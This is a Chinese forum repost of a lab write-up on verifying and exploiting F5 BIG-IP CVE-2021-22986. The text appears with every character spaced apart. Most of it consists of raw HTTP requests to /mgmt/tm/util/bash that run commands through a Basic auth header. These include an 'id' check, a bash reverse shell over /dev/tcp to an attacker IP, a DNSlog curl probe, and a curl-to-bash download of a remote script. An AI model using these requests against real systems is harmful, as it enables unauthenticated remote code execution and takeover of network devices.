搜索

[2064] 2021-03-21_F5BIG-IPCVE-2021-22986验证及利用

文档创建者：s7ckTeam
浏览次数：47
最后更新：2025-01-16
2021-03-21_F5BIG-IPCVE-2021-22986验证及利用 F 5   B I G - I P   C V E - 2 0 2 1 - 2 2 9 8 6   验 证 及 利 用 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 3 - 2 1 收 录 于 话 题   # 漏 洞 复 现   , 1 9 个 环 境 搭 建 环 境 搭 建 测 试 版 本 ： B I G I P - 1 5 . 1 . 0 - 0 . 0 . 3 1 . A L L - v m w a r e 用 户 密 码 ： r o o t / 1 2 3 q w e ! @ # 网 络 连 接 ： N A T   模 式 如 图 ： n e t d i s c o v e r n e t s t a t   - a n t u   |   g r e p   4 4 3
访 问 漏 洞 验 证 漏 洞 验 证 - 命 令 执 行 ： 命 令 执 行 ： 如 图 ： n e t s t a t   - a n t u   |   g r e p   4 4 3 h t t p s : / / 1 9 2 . 1 6 8 . 1 . 1 3 7 : 8 4 4 3 / P O S T   / m g m t / t m / u t i l / b a s h   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 1 3 7 : 8 4 4 3 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 7 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 8 . 0 C o n n e c t i o n :   c l o s e X - F 5 - A u t h - T o k e n : A u t h o r i z a t i o n :   B a s i c   Y W R t a W 4 6 Q V N h c 1 M = C o n t e n t - L e n g t h :   3 9 { " c o m m a n d " : " r u n " , " u t i l C m d A r g s " : " - c   i d " }
漏 洞 利 用 漏 洞 利 用 - 反 弹 反 弹 s h e l l （ （ b a s h ） ） 如 图 ： 漏 洞 利 用 漏 洞 利 用 - 反 弹 反 弹 s h e l l （ （ c u r l ） ） 测 试 存 在 c u r l 命 令 P O S T   / m g m t / t m / u t i l / b a s h   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 1 3 7 : 8 4 4 3 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 7 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 8 . 0 C o n n e c t i o n :   c l o s e X - F 5 - A u t h - T o k e n : A u t h o r i z a t i o n :   B a s i c   Y W R t a W 4 6 Q V N h c 1 M = C o n t e n t - L e n g t h :   8 1 { " c o m m a n d " : " r u n " , " u t i l C m d A r g s " : " - c   ' b a s h   - i   > & / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 1 2 8 / 7 7 7 7   0 > & 1 ' " } 思 路 ： 远 程 下 载 反 弹 s h e l l 的 脚 本 并 执 行 { " c o m m a n d " : " r u n " , " u t i l C m d A r g s " : " - c   ' c u r l   m 7 b s p 1 . d n s l o g . c n '   " }
r e . s h : 远 程 下 载 r e . s h 并 执 行 如 图 ： 若 需 要 该 环 境 ， 公 众 号 留 言 ： F 5 。 参 考 ： # #   ( ⊙ ﹏ ⊙ ⊙ ﹏ ⊙ ) # # P O S T   / m g m t / t m / u t i l / b a s h   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 1 3 7 : 8 4 4 3 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 7 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 8 . 0 C o n n e c t i o n :   c l o s e X - F 5 - A u t h - T o k e n : A u t h o r i z a t i o n :   B a s i c   Y W R t a W 4 6 Q V N h c 1 M = C o n t e n t - L e n g t h :   8 1 { " c o m m a n d " : " r u n " , " u t i l C m d A r g s " : " - c   ' c u r l   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 2 8 : 8 0 / r e . s h   |   b a s h '   " } h t t p s : / / t w i t t e r . c o m / 1 Z R R 4 H / s t a t u s / 1 3 7 3 2 0 6 1 8 1 9 5 5 6 5 3 6 3 2
                人 活 在 世 界 上 ， 不 可 以 有 偏 差 ; 而 且 多 少 要 费 点 劲 儿 ， 才 能 把 自 己 保 持 到 理 性 的 轨 道 上 。     - - 王 小 波   《 沉 默 的 大 多 数 》
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理